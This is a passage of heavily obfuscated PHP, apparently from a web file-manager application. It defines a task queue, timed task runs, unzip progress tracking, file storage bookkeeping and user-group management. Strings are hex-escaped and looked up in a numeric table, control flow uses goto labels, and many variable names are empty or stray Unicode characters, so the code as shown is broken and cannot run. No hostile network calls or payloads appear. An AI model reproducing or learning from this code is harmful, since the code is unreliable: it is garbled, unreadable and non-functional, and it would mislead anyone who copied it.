self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $߈ = array(); foreach ($՞ as $) { if ($ & $) { $߈[] = $; } } if (in_array(self::AUTH_ROOT, $߈)) { $ = array_sum($՞); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($߈ as $) { if (isset($[$])) { $߈ = array_merge($߈, $[$]); } } $߈[] = self::AUTH_SHOW; $ = array_sum(array_unique($߈)); } public function sort($Σ, $) { return parent::update($Σ, $); } } goto a; bǏن: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\x61\163\x6b\x51\165\x65\165\145\x4c\x65\x6e\147\x74\x68"; const QUEUE_DATA = "\164\141\x73\153\x51\165\x65\x75\x65\x44\141\x74\x61"; const QUEUE_TIME = "\x74\141\x73\x6b\121\x75\145\165\145\x4c\141\x73\x74\x52\x75\156"; const QUEUE_THREAD = "\x74\141\x73\x6b\x51\x75\145\165\145\124\x68\x72\145\x61\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($ǴӰ, $ƙ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[97], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, $[97], $)) { return !0; } self::$listDataAdd[] = array($[341] => $ǴӰ, $[1861] => $ƙ, $[526] => $, $[97] => $); return !0; } public static function addSubmit() { $݄ș =& $_SERVER[]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($݄ș[1862] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $݄ș[12], $݄ș[526])), $݄ș[197]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($帺, $ = array(), $ڜφ = '', $ޕ = '') { $ꜜ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ޕ && array_find_by_field($, $ꜜ[97], $ޕ)) { return !0; } $[] = array($ꜜ[341] => $帺, $ꜜ[1861] => $, $ꜜ[526] => $ڜφ, $ꜜ[97] => $ޕ); self::setAll($); write_log($ꜜ[1862] . $ڜφ, $ꜜ[197]); return !0; } public static function run() { $ŧ =& $_SERVER[]; $ = self::getAll(); $ȶ = array_shift($); if (!$ȶ) { return !1; } self::setAll($); $̳ = timeFloat(); $ѫ = $ŧ[12]; try { $ѫ = Hook::apply($ȶ[$ŧ[341]], $ȶ[$ŧ[1861]]); } catch (Exception $ى) { write_log($ى, $ŧ[1257]); } $ʙ = number_format(timeFloat() - $̳, 3) . $ŧ[1779]; if ($ѫ && is_string($ѫ)) { $ʙ = $ʙ . $ŧ[1863] . $ѫ; } write_log($ŧ[1864] . $ȶ[$ŧ[526]] . $ŧ[1865] . $ʙ, $ŧ[197]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ϱ =& $_SERVER[]; $ܐ = self::threadCount() + 1; if ($ܐ > 3 || !self::count()) { return; } write_log($ϱ[1866] . $ܐ, $ϱ[197]); Cache::set(self::QUEUE_THREAD, $ܐ, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($ϱ[1867], $ϱ[197]); } public static function getKey($, $̸ = "\x69\x6e\164") { $ =& $_SERVER[]; Cache::removeMemory($); $ = Cache::get($); if ($̸ == $[364]) { return $ ? intval($) : 0; } if ($̸ == $[1868]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[][1868]); } public static function setAll($ְ) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($ְ), $); Cache::set(self::QUEUE_DATA, $ְ, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($ꎚ, $ᡱ, $ۘ, $ = 5.0) { $ׅ =& $_SERVER[]; if (!$ꎚ || !$ᡱ) { return; } self::$asyncAdd = !0; $ܪ = $ׅ[1869]; $ƹ = Cache::get($ܪ, !0); $ؾ = array($ׅ[1870] => timeFloat(), $ׅ[1871] => timeFloat(), $ׅ[341] => $ᡱ, $ׅ[1861] => $ۘ, $ׅ[206] => $); if (is_array($ƹ[$ꎚ])) { $ؾ[$ׅ[1871]] = $ƹ[$ꎚ][$ׅ[1871]]; } if (is_array($ƹ[$ꎚ])) { if (timeFloat() - $ƹ[$ꎚ][$ׅ[1870]] < $ؾ[$ׅ[206]] * 0.3) { return; } $ؾ[$ׅ[1871]] = $ƹ[$ꎚ][$ׅ[1871]]; } $ƹ[$ꎚ] = $ؾ; Cache::set($ܪ, $ƹ, 60); Cache::removeMemory($ܪ); write_log($ׅ[1872] . $ꎚ . $ׅ[74] . $ᡱ, $ׅ[197]); } public static function timeLimitCallLoop() { $ᶦ =& $_SERVER[]; $ퟳ = array($ᶦ[1873]); $Ìð = in_array(strtolower(ACTION), $ퟳ); if (!$Ìð && !self::$asyncAdd) { return; } $ϗ = $ᶦ[1869]; $ܚ = Cache::get($ϗ, !0); if (!$ܚ || count($ܚ) <= 0) { return; } $ێ = !1; $㠬݂ = timeFloat(); $ʚ = array(); foreach ($ܚ as $ => $) { if ($㠬݂ - $[$ᶦ[1871]] > $[$ᶦ[206]]) { $ێ = !0; try { Hook::apply($[$ᶦ[341]], $[$ᶦ[1861]]); write_log($ᶦ[1874] . $ . $ᶦ[74] . $[$ᶦ[341]] . $ᶦ[1875] . ACTION, $ᶦ[197]); } catch (Exception $ƅ) { } continue; } $ʚ[$] = $; } if (!$ێ) { return; } if (!$ʚ) { return Cache::remove($ϗ); } Cache::set($ϗ, $ʚ, 60); Cache::removeMemory($ϗ); } public static function finished($, $) { $Ʊ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($Ʊ[341] => $, $Ʊ[1861] => $); } private static function finishedRun() { $ݗ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $قӏ) { try { Hook::apply($قӏ[$ݗ[341]], $قӏ[$ݗ[1861]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1876], array($this, $[1877])); Hook::bind($[1271], array($this, $[1878])); Hook::bind($[1879], array($this, $[1880])); $ =& $this->task; $[$[1881]] = $[1272]; if (!$[$[1652]]) { $[$[1652]] = LNG($[1882]); } } protected function endAfter() { $壐 =& $_SERVER[]; parent::endAfter(); Hook::unbind($壐[1876], array($this, $壐[1877])); Hook::unbind($壐[1271], array($this, $壐[1878])); Hook::unbind($壐[1879], array($this, $壐[1880])); } public function updateAfter() { $Ȣ =& $_SERVER[]; $ =& $this->task; if (!$[$Ȣ[1134]] || !$[$Ȣ[830]]) { if ($[$Ȣ[1881]] != $Ȣ[389]) { return; } } if ($[$Ȣ[1881]] == $Ȣ[1272]) { $ = 0; if ($[$Ȣ[1816]]) { $ = $[$Ȣ[1817]] / $[$Ȣ[1816]]; } $[$Ȣ[1765]] = $ * 0.3; } else { if ($[$Ȣ[1881]] == $Ȣ[389]) { $ = $[$Ȣ[1764]] / $[$Ȣ[1134]]; $[$Ȣ[1765]] = 0.3 + $ * 0.4; } else { if ($[$Ȣ[1881]] == $Ȣ[110]) { $¿ó = 0; if ($[$Ȣ[1818]] == $Ȣ[110]) { $¿ó = $[$Ȣ[1817]]; } $ = ($[$Ȣ[1821]] + $¿ó) / $[$Ȣ[830]]; $[$Ȣ[1765]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$Ȣ[1765]] > 0) { $Ԟ = timeFloat() - $[$Ȣ[1767]] - $[$Ȣ[1770]]; $[$Ȣ[1771]] = $Ԟ * (1 - $[$Ȣ[1765]]) / $[$Ȣ[1765]]; } } public function addFile($۲) { $ʠͳ =& $_SERVER[]; $ =& $this->task; $ = IO::info($۲); $[$ʠͳ[1814]] = $[$ʠͳ[32]]; $[$ʠͳ[1816]] = $[$ʠͳ[79]]; $[$ʠͳ[1817]] = 0; $[$ʠͳ[1136]] = $ʠͳ[1837]; $[$ʠͳ[1818]] = $ʠͳ[1272]; $[$ʠͳ[830]] = $[$ʠͳ[79]]; $[$ʠͳ[1134]] = 1; $բ = 0; $[$ʠͳ[1825]] = array($ʠͳ[1826] => $բ + 1, $ʠͳ[494] => $[$ʠͳ[32]], $ʠͳ[87] => $[$ʠͳ[87]], $ʠͳ[582] => $[$ʠͳ[582]] ? $[$ʠͳ[582]] : $[$ʠͳ[87]]); $this->update(); } public function zipEvent($λ, $, $Й, $ۨ) { $ƌ =& $_SERVER[]; $ =& $this->task; $[$ƌ[1814]] = get_path_this($); $[$ƌ[1816]] = $ۨ; $[$ƌ[1817]] = $Й; $[$ƌ[1136]] = $λ == $ƌ[1883] ? $ƌ[1884] : $ƌ[1885]; $[$ƌ[1818]] = $ƌ[12]; $[$ƌ[830]] = $ۨ; $[$ƌ[1881]] = $ƌ[389]; $this->update(); } public function unzipAfter($) { $ⵖ =& $_SERVER[]; $ɵ =& $this->task; $ɵ[$ⵖ[1881]] = $ⵖ[110]; $¶Ǿ = IO::infoWithChildren($); $ = 0; $ɵ[$ⵖ[1825]] = array($ⵖ[1826] => $ + 1, $ⵖ[494] => $¶Ǿ[$ⵖ[32]], $ⵖ[87] => $¶Ǿ[$ⵖ[87]], $ⵖ[582] => $¶Ǿ[$ⵖ[582]] ? $¶Ǿ[$ⵖ[582]] : $¶Ǿ[$ⵖ[87]]); if ($¶Ǿ[$ⵖ[33]] == $ⵖ[230]) { $ɵ[$ⵖ[1134]] = 1; } else { $ɵ[$ⵖ[1134]] = $¶Ǿ[$ⵖ[82]][$ⵖ[80]]; } $ɵ[$ⵖ[1136]] = $ⵖ[12]; $ɵ[$ⵖ[1818]] = 0; $ɵ[$ⵖ[1764]] = 0; $ɵ[$ⵖ[1816]] = 0; $ɵ[$ⵖ[1817]] = 0; $ɵ[$ⵖ[1814]] = $ⵖ[12]; $ɵ[$ⵖ[1821]] = 0; $ɵ[$ⵖ[830]] = $¶Ǿ[$ⵖ[79]]; $this->update(); self::log($ⵖ[1886] . json_encode(array($ɵ, $¶Ǿ))); } public function nameParse($) { $Θ =& $_SERVER[]; $ =& $this->task; if ($[$Θ[1881]] == $Θ[1272]) { $[$Θ[1881]] = $Θ[389]; $[$Θ[1821]] = 0; $[$Θ[830]] = 0; } $僇ٟ = get_path_this($); if (strstr($僇ٟ, $Θ[10])) { $[$Θ[1764]] += 1; $[$Θ[1134]] += 1; } $[$Θ[1814]] = $; $this->update(); } } goto BÅ; BɢӮ: class FileModel extends ModelBase { protected $tableName = "\x69\157\x5f\x66\x69\154\145"; protected $tableMeta = array("\x74\141\x62\x6c\145\x4e\x61\x6d\145" => "\x69\x6f\137\x66\x69\x6c\x65\137\155\145\164\x61", "\x6d\x65\x74\x61\106\151\x65\x6c\144" => "\x66\x69\154\145\x49\x44"); public function fileInfo($鹸) { $ =& $_SERVER[]; static $ſ = array(); if (!isset($ſ[$鹸])) { $̭þ = $[2012]; $ = Model($[544])->field($̭þ)->where(array($[542] => $鹸))->find(); $ſ[$鹸] = $; } return $ſ[$鹸]; } public function addFileByContent($Ќ = '', $ţ = '') { $Є =& $_SERVER[]; $ = TEMP_PATH . $Є[2013]; if (!is_dir($)) { mk_dir($); } $ʇ = $ . $Є[2014] . rand_string(16); file_put_contents($ʇ, $Ќ); $ = $this->addFile($ʇ, $ţ, !0); if (file_exists($ʇ)) { @unlink($ʇ); } return $; } public function createFileName($ٝ, $؛ٳ = false, $ = false) { $ =& $_SERVER[]; $Խ = IO::init($[8]); $̗Ų = $this->makeFilePath($ٝ, $Խ, $؛ٳ, $); $ = $Խ->pathFather($̗Ų); static $ = false; $ٞ = $[2015] . md5($); if (!$ && !Cache::get($ٞ)) { $ = !0; $ = IO::mkdir($); if (!IO::exist($ . $[872])) { IO::mkfile($ . $[872]); } Cache::set($ٞ, 1, 3600 * 2); } return $̗Ų; } public function makeFilePath($ы, $, $Ɛ = false, $ = false) { $ =& $_SERVER[]; $ = Model($[837])->get($[2016]); $ӄ = KodIO::defaultIO() . date($[2017]); $ = $ӄ . rand_string(5) . short_id(100); $ы = str_replace($[8], $[11], KodIO::clear($ы)); $ѭ = $->ext($ы); if (!$ы) { $ = $[843]; } switch ($) { case $[2018]: if ($ѭ) { $ = $ . $[10] . $ѭ; } if ($ѭ == $[1954]) { $ .= $[1284]; } break; case $[2019]: $צ = Model($[837])->get($[838]); $Բ = substr(md5($[839] . $צ . date($[816])), 0, 8); $ = KodIO::defaultDriver(); $ӄ = $[1315] . $[$[475]] . $[484] . date($[2020]) . $Բ . $[8]; if ($ѭ == $[1954]) { $ы .= $[1284]; } $ˢ = $[2021] . $ӄ . $ы; CacheLock::lock($ˢ); $ = $ӄ . $ы; if (IO::exist($ӄ . $ы)) { $մ = substr($ы, 0, strlen($ы) - strlen($ѭ)); $Α = $ ? substr($, 0, 5) : ($Ɛ ? substr($Ɛ, 0, 5) : rand_string(5)); $ = $ӄ . $մ . $Α; if ($ѭ) { $ = $ . $[10] . $ѭ; } } if (IO::isOsDriver($) && !IO::isUploadServer($)) { if (IO::exist($)) { return $; } $Ե؟ = IO::setContent($, $[12]); if (!$Ե؟) { show_json($[2022], !1); } } CacheLock::unlock($ˢ); break; case $[843]: break; default: break; } return $; } public function addFileByRemote($߹, $°, $˧ = array()) { $˟ =& $_SERVER[]; if (!IO::exist($߹)) { return !1; } $ = $˧[$˟[547]] ? $˧[$˟[547]] : $˟[12]; $ = IO::hashMd5($߹, $); $隋ѐ = KodIO::defaultDriver(); $ = array($˟[617] => IO::size($߹), $˟[2023] => 1, $˟[494] => $°, $˟[883] => $隋ѐ[$˟[475]], $˟[495] => $߹, $˟[2024] => $˧[$˟[672]] ? $˧[$˟[672]] : IO::hashSimple($߹), $˟[2025] => $ ? $ : $); if ($ = $this->addFileCheckExist($[$˟[672]], $[$˟[547]], $[$˟[79]])) { return $; } return $this->addFileData($); } private function addFileData($͇) { $όЖ =& $_SERVER[]; if (!$͇) { return !1; } $͇[$όЖ[79]] = intval($͇[$όЖ[79]]); if (!$͇[$όЖ[79]] && strlen($͇[$όЖ[672]]) > 32) { $͇[$όЖ[79]] = intval(substr($͇[$όЖ[672]], 32)); } $ַ = $this->add($͇); return $this->find($ַ); } public function addFile($, $, $ = false) { $ =& $_SERVER[]; $É = IO::hashSimple($); $ߘݐ = IO::size($); $ = $ߘݐ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $[12]; $ = $[2026] . $É; CacheLock::lock($); if ($ && $É) { $֊ = $this->addFileCheckExist($É, $, $ߘݐ); if ($֊) { CacheLock::unlock($); return $֊; } } $ = $this->addFileMake($, $ߘݐ, $É, $, $, $); $Կ = $this->addFileData($); CacheLock::unlock($); if (!$ && $Կ) { $this->fileMd5Check($Կ); } return $Կ; } public function fileMd5Check($) { $쬮 =& $_SERVER[]; $ވ = array($[$쬮[541]], $[$쬮[87]]); $ = $쬮[2027] . $[$쬮[87]]; $ = $쬮[2028] . $[$쬮[541]]; TaskQueue::add($쬮[2029], $ވ, $, $); } public function fileMd5Set($굥͏, $) { $ͨ =& $_SERVER[]; $ = $this->find($굥͏); if (!$ || $[$ͨ[547]]) { return; } $ = IO::hashMd5($); if (!$) { return $ͨ[12]; } $this->where(array($ͨ[541] => $굥͏))->save(array($ͨ[547] => $)); } public function addFileMake($, $æ, $縬, $, $, $Ѕ) { $ϒ =& $_SERVER[]; $֥ = $this->createFileName($, $縬, $); $ɵ = get_path_father($֥); $Τ = get_path_this($֥); if ($Ѕ) { $կ = IO::move($, $ɵ, !1, $Τ); } else { $կ = IO::copy($, $ɵ, !1, $Τ); } if (!$կ) { return !1; } $ҋ떗 = KodIO::defaultDriver(); $仦ٖ = array($ϒ[617] => $æ, $ϒ[2023] => 1, $ϒ[494] => $, $ϒ[883] => $ҋ떗[$ϒ[475]], $ϒ[495] => $֥, $ϒ[2024] => $縬, $ϒ[2025] => $); return $仦ٖ; } public function addFileCheckExist($Ջ, $ʕ, $ǎ) { $ʼn =& $_SERVER[]; $ҝ = $this->findByHash($Ջ, $ʕ); if (!$ҝ) { return !1; } $ = array($ʼn[2023] => intval($ҝ[$ʼn[2030]]) + 1, $ʼn[617] => $ǎ); $this->where(array($ʼn[542] => $ҝ[$ʼn[541]]))->save($); return $ҝ; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($ڄ) { $this->linkCountChange($ڄ, !0); } public function linkCountChange($ż, $ʄа) { $ =& $_SERVER[]; if (!$ż) { return; } if (!is_array($ż)) { $ż = array($ż); } $՛ = array(); foreach ($ż as $ܫ) { $ = $ܫ . $[12]; if (!$՛[$]) { $՛[$] = 0; } $՛[$]++; } $ = array(); foreach ($՛ as $ܫ => $) { $ = $ . $[12]; if (!$[$]) { $[$] = array(); } $[$][] = $ܫ; } foreach ($ as $ => $Ʋ) { if (!$Ʋ) { continue; } $ = $ʄа ? $ : -intval($); $ޑ = array($[541] => array($[7], $Ʋ)); if ($ < 0) { $ޑ[$[2030]] = array($[1086], abs($)); } $this->where($ޑ)->setAdd($[2030], $); } } public function findByHash($غ, $ = false) { $ϳ =& $_SERVER[]; if (!$غ && !$) { return !1; } $ = array($ϳ[2024] => $غ); if ($) { $ = array($ϳ[2025] => $); } return $this->order($ϳ[2031])->where($)->find(); } public function clearEmpty($ǖݶ = 0) { $ =& $_SERVER[]; $ = time() - 3600 * 24 * $ǖݶ; $͚ = $[2032] . $; $˼ = $this->where($͚)->select(); if (!$˼) { return; } $ = new Task($[2033], $[12], count($˼)); foreach ($˼ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($ݑ) { $Ҥ =& $_SERVER[]; $܈ = array($Ҥ[542] => $ݑ[$Ҥ[541]]); $ӆо = Model($Ҥ[1411])->where($܈)->count(); $ε = Model($Ҥ[2034])->where($܈)->count(); $Ҥ = intval($ӆо) + intval($ε); if ($Ҥ == 0) { IO::remove($ݑ[$Ҥ[87]]); Model($Ҥ[2035])->delete($ݑ[$Ҥ[541]]); $this->where($܈)->delete(); $this->metaSet($ݑ[$Ҥ[541]], null, null); write_log(ACTION . $Ҥ[2036] . KodUser::id() . $Ҥ[2037] . $ݑ[$Ҥ[541]] . $Ҥ[2038] . $ݑ[$Ҥ[79]] . $Ҥ[201] . $ݑ[$Ҥ[87]], $Ҥ[2039]); return; } if ($ݑ[$Ҥ[2030]] != $Ҥ) { $this->where($܈)->save(array($Ҥ[2023] => $Ҥ)); } } public function storageInfo($ = false) { $т =& $_SERVER[]; $ = $this->count() + 0.0; $
ޕ = 0; $̈ = 1; $ = 0; $ = 5000; for ($˯ň = 0; $˯ň < $; $˯ň = $˯ň + $) { $ = $this->limit($˯ň, $˯ň + $)->select(); foreach ($ as $) { $̈ += $[$т[79]] * $[$т[2030]]; $
ޕ += $[$т[79]] * ($[$т[2030]] - 1); $ += $[$т[2030]]; } } $ɢ = array($т[2040] => $̈, $т[2041] => $
ޕ, $т[2042] => $
ޕ / $̈, $т[83] => $, $т[2043] => $); return $ɢ; } } class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\165\x70"; protected $tableMeta = array("\164\x61\142\x6c\x65\116\141\x6d\145" => "\x67\162\157\165\x70\137\155\x65\x74\141", "\155\145\x74\141\106\151\x65\x6c\144" => "\147\x72\157\x75\160\x49\x44"); protected function cacheFunctionAlias($Ω) { $ǘ =& $_SERVER[]; return array($ǘ[2044] => array($Ω[0], $ǘ[2045]), $ǘ[2046] => array($Ω[0], $ǘ[2047])); } protected function getInfo($؞, $ = false) { $ǵ߽ = $this->getInfoSimple($؞); if (!$ǵ߽) { return !1; } if ($) { return $this->_listDataApplyItem($ǵ߽); } return $this->cacheFunctionGet($_SERVER[][2048], $؞); } protected function getInfoSimple($ψ, $ڼ = false) { $ =& $_SERVER[]; if ($ڼ) { $ = array($[1962] => intval($ψ)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[2049], $ψ); } protected function groupAdd($ݪ) { $܈ =& $_SERVER[]; if (!$ݪ[$܈[192]] && isset($ݪ[$܈[1962]]) && $ݪ[$܈[1962]] == 1) { if ($Αּ = $this->getInfoSimple($ݪ[$܈[1962]], !0)) { return $ݪ[$܈[1962]]; } } else { $Αּ = $this->getInfoSimple($ݪ[$܈[192]]); if (!$Αּ) { return !1; } } $Ꮣ = $܈[594]; if ($Αּ[$܈[584]]) { $Ꮣ = $Αּ[$܈[584]] . $Αּ[$܈[1962]] . $܈[50]; } $ = array($܈[494] => $this->groupNameAuto($ݪ[$܈[192]], $ݪ[$܈[32]]), $܈[477] => $ݪ[$܈[192]], $܈[652] => $Ꮣ, $܈[2050] => $ݪ[$܈[1948]], $܈[2051] => 0, $܈[1966] => 0); if (isset($ݪ[$܈[1986]])) { $[$܈[1986]] = $ݪ[$܈[1986]]; } else { $ = $this->max($܈[1986]); if (!$) { $ = 0; } $[$܈[1986]] = $ + 1; } if (!empty($ݪ[$܈[1962]])) { $[$܈[1962]] = $ݪ[$܈[1962]]; } $롚 = $this->add($); $this->setNamePinyin($롚, $[$܈[32]]); if (isset($ݪ[$܈[2052]])) { $this->metaSet($롚, array($܈[2052] => $ݪ[$܈[2052]], $܈[2053] => $ݪ[$܈[2053]])); unset($ݪ[$܈[2052]]); unset($ݪ[$܈[2053]]); } Model($܈[1411])->groupRootAdd($롚); $this->_clearCache($ݪ[$܈[192]]); return $롚; } protected function groupEdit($, $ݻ) { $ܥ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($ݻ[$ܥ[192]])) { $Ĕ = $this->getInfoSimple($ݻ[$ܥ[192]]); if (!$Ĕ) { return !1; } if ($[$ܥ[1962]] == $Ĕ[$ܥ[1962]]) { return !1; } if ($ݻ[$ܥ[192]] != $[$ܥ[192]]) { if ($Ĕ[$ܥ[584]] !== $[$ܥ[584]] && strpos($Ĕ[$ܥ[584]], $[$ܥ[584]] . $[$ܥ[1962]] . $ܥ[50]) === 0) { return !1; } $ݻ[$ܥ[652]] = $Ĕ[$ܥ[584]] . $ݻ[$ܥ[192]] . $ܥ[50]; $this->_changeChildLevel($, $Ĕ); $this->_clearCache($Ĕ[$ܥ[1962]]); $this->_clearCache($[$ܥ[192]]); } } if (isset($ݻ[$ܥ[32]])) { $this->setNamePinyin($, $ݻ[$ܥ[32]]); } if (isset($ݻ[$ܥ[2052]])) { $this->metaSet($, array($ܥ[2052] => $ݻ[$ܥ[2052]], $ܥ[2053] => $ݻ[$ܥ[2053]])); unset($ݻ[$ܥ[2052]]); unset($ݻ[$ܥ[2053]]); } $this->_clearChildrenCache($); return $this->where(array($ܥ[2054] => $))->save($ݻ); } private function _clearChildrenCache($) { $㙙 =& $_SERVER[]; $ = array($㙙[652] => array($㙙[612], $[$㙙[584]] . $[$㙙[1962]] . $㙙[613])); $ٔ = $this->field($㙙[1962])->where($)->select(); foreach ($ٔ as $މ) { $this->_clearCache($މ[$㙙[1962]]); } } private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2048], $); $this->cacheFunctionClear($[2049], $); } private function _changeChildLevel($, $, $ü = false) { $ =& $_SERVER[]; $ = $[$[584]] . $[$[1962]] . $[50]; $ = $[$[584]] . $[$[1962]] . $[50] . $[$[1962]] . $[50]; if ($ü) { $ = $[$[584]] . $[$[1962]] . $[50]; } $̲ = array($[652] => array($[612], $[$[584]] . $[$[1962]] . $[613])); $ = array($[652] => array($[661], "\162\145\x70\154\x61\143\x65\50\x70\141\162\x65\156\x74\114\x65\166\x65\154\54\x27{$}\x27\54\47{$}\47\x29")); $this->_clearChildrenCache($); $this->where($̲)->data($)->save(); } public function setNamePinyin($Ϊބ, $脦 = false) { $☑ =& $_SERVER[]; if (!$脦) { $Ƥנ = $this->getInfoSimple($Ϊބ); $脦 = $Ƥנ[$☑[32]]; } if (!Input::check($脦, $☑[655])) { $this->metaSet($Ϊބ, $☑[538], null); $this->metaSet($Ϊބ, $☑[537], null); return; } $ = array($☑[538] => str_replace($☑[53], $☑[12], Pinyin::get($脦)), $☑[537] => Pinyin::get($脦, $☑[656])); $this->metaSet($Ϊބ, $); } protected function metaSet($ֲ, $ = null, $ = null) { $this->_clearCache($ֲ); return parent::metaSet($ֲ, $, $); } protected function groupStatus($ⵑ͊, $݆) { $ޅ֮ =& $_SERVER[]; $ڇ = $this->getInfoSimple($ⵑ͊); if (!$ڇ) { return !1; } $this->_clearCache($ⵑ͊); return $this->metaSet($ⵑ͊, $ޅ֮[817], $݆); if ($݆ == $ޅ֮[91]) { $ϻ = $this->parentLevelArray($ڇ[$ޅ֮[584]]); } else { } $ϻ[] = $ڇ[$ޅ֮[1962]]; $ꜗ = array(); foreach ($ϻ as $ⵑ͊) { $ꜗ[] = array($ޅ֮[1962] => $ⵑ͊, $ޅ֮[97] => $ޅ֮[817], $ޅ֮[450] => $݆); $this->_clearCache($ⵑ͊); } return Model($ޅ֮[2055])->addAll($ꜗ, array(), !0); } protected function groupRemove($ᐷ, $Ƃ = false) { $̡ =& $_SERVER[]; $ = array($̡[1962] => $ᐷ); $ԭ = $this->where($)->find(); if (!$ԭ || $ԭ[$̡[192]] == 0) { return !1; } if (!$Ƃ) { $ = $this->getInfoSimple($ԭ[$̡[192]]); $this->_changeChildLevel($ԭ, $, !0); $this->where(array($̡[192] => $ᐷ))->save(array($̡[192] => $ԭ[$̡[192]])); $this->_clearCache($[$̡[1962]]); } Model($̡[2055])->where($)->delete(); Model($̡[2056])->where($)->delete(); Model($̡[899])->groupRootRemove($ᐷ); $this->_clearCache($ԭ[$̡[192]]); return $this->where($)->delete(); } protected function groupSort($ڋ) { $ =& $_SERVER[]; $Š = array(); foreach ($ڋ as $ => $ ) { $Š[] = array($[1962], $ , $[1986], $ + 1); } $this->saveAll($Š); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][445]]); return $; } private function _makeOrder($ = '') { $䟸 =& $_SERVER[]; $ = array($䟸[1962], $䟸[32], $䟸[1950], $䟸[231]); $ = array($䟸[523] => $䟸[524], $䟸[525] => $䟸[526]); $ҡ = Input::get($䟸[530], $䟸[7], $䟸[1966], $); $ᶅ = Input::get($䟸[531], $䟸[7], $䟸[2057], array($䟸[2057], $䟸[525])); $ᶅ = $[$ᶅ]; $ = $ . "{$ҡ}\40{$ᶅ}\x2c\40\147\162\x6f\165\160\x49\x44\x20\x61\163\x63"; return $this->order($); } public function listChild($깇ɢ) { $ˌڭ =& $_SERVER[]; $ = $this->where(array($ˌڭ[192] => $깇ɢ))->_makeOrder()->selectPage(200); $this->_listDataApply($[$ˌڭ[445]]); return $; } public function listChildIds($) { $Ԁ =& $_SERVER[]; if (is_string($ɥ)) { $ = explode($Ԁ[50], $); } $ڧ· = $this->where(array($Ԁ[1962] => array($Ԁ[7], $)))->field($Ԁ[2058])->select(); if (!$ڧ·) { return !1; } $ۇ = array(); foreach ($ڧ· as $ܗ) { $ۇ[] = "\x73\145\x6c\145\143\164\40\147\x72\157\165\x70\x49\x44\x20\x66\162\157\x6d\40\140\x67\x72\157\165\160\140\x20\167\150\145\162\145\40\160\141\x72\x65\x6e\x74\114\x65\166\145\x6c\x20\x6c\x69\153\x65\x20\x27{$ܗ[$Ԁ[584]]}{$ܗ[$Ԁ[1962]]}\54\45\47"; } $ۇ = implode($Ԁ[2059], $ۇ); $ڧ· = $this->query($ۇ); if (!$ڧ·) { return array(); } $ = array_to_keyvalue($ڧ·, $Ԁ[12], $Ԁ[1962]); return array_unique($); } public function listByID($) { $ =& $_SERVER[]; if (!$) { return array(); } $ƪ = array($[1962] => array($[7], $)); $Ϋ = $this->where($ƪ)->select(); $Ϋ = array_sort_keep($Ϋ, $[1962], $); $this->_listDataApply($Ϋ); return $Ϋ; } public function listSearch($ۆۙ) { $ =& $_SERVER[]; $ = trim($ۆۙ[$[2060]]); $ = explode($[53], $); if (!$ || count($) == 1) { return $this->listSearchNow($ۆۙ); } $ˈ = array($[445] => array()); foreach ($ as $Ƿ) { if (!trim($Ƿ)) { continue; } $ۆۙ[$[2060]] = $Ƿ; $̡ն = $this->listSearchNow($ۆۙ); $ˈ[$[445]] = array_merge($ˈ[$[445]], $̡ն[$[445]]); } $ˈ[$[445]] = array_unique_by_key($ˈ[$[445]], $[1962]); $ˈ[$[442]] = array($[443] => count($ˈ[$[445]]), $[439] => 20, $[429] => 1, $[444] => 1); return $ˈ; } public function listSearchNow($ɪ߆) { $ʲ =& $_SERVER[]; $Ì = trim($ɪ߆[$ʲ[2060]]); $˥ = 